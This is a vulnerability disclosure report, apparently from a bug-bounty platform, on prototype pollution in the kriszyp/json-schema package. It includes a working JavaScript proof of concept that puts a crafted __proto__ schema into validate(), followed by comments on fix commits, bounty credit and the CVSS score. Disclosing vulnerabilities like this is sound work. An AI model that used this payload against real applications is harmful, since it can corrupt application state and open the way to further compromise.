Prototype Pollution in kriszyp/json-schema
Reported on
Oct 3rd 2021
Description
A constructed payload sent to validate will lead to prototype pollution.
Proof of Concept
// PoC.js
const { validate } = require("json-schema");
const instance = JSON.parse(`
{
"$schema":{
"type": "object",
"properties":{
"__proto__": {
"type": "object",
"properties":{
"polluted": {
"type": "string",
"default": "polluted"
}
}
}
},
"__proto__": {}
}
}`);
const a = {};
console.log(a.polluted);
validate(instance);
console.log(a.polluted);
Impact
This vulnerability is capable of make prototype pollution
Occurrences
SECURITY.md
2 years ago
It seems that author fix this vuln by self, but I still found another way to bypass the fix, i have already send the poc and another fix to author, waiting for reply
I think Yoshino-s should get the fix bounty too. Also, I wouldn't think this should be classified as "Critical", using json-schema with user-provided/arbitrary schemas is probably very rare, schemas typically have the same secure origination as code itself.
@kriszyp - can you confirm the severity that you think is more appropriate, then I will go ahead and update the published CVE! 👍
We can reward @yoshino-s the fix bounty as well. Can you attach a PR / commit from the researcher just to confirm this?
These commits were directly from yoshino-s's suggested code: https://github.com/kriszyp/json-schema/commit/f6f6a3b02d667aa4ba2d5d50cc19208c4462abfa https://github.com/kriszyp/json-schema/commit/b62f1da1ff5442f23443d6be6a92d00e65cba93a I would estimate severity (using the calculator at 7.7/High.
Can you recommend the CVSS string for this score?
Currently, it is:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
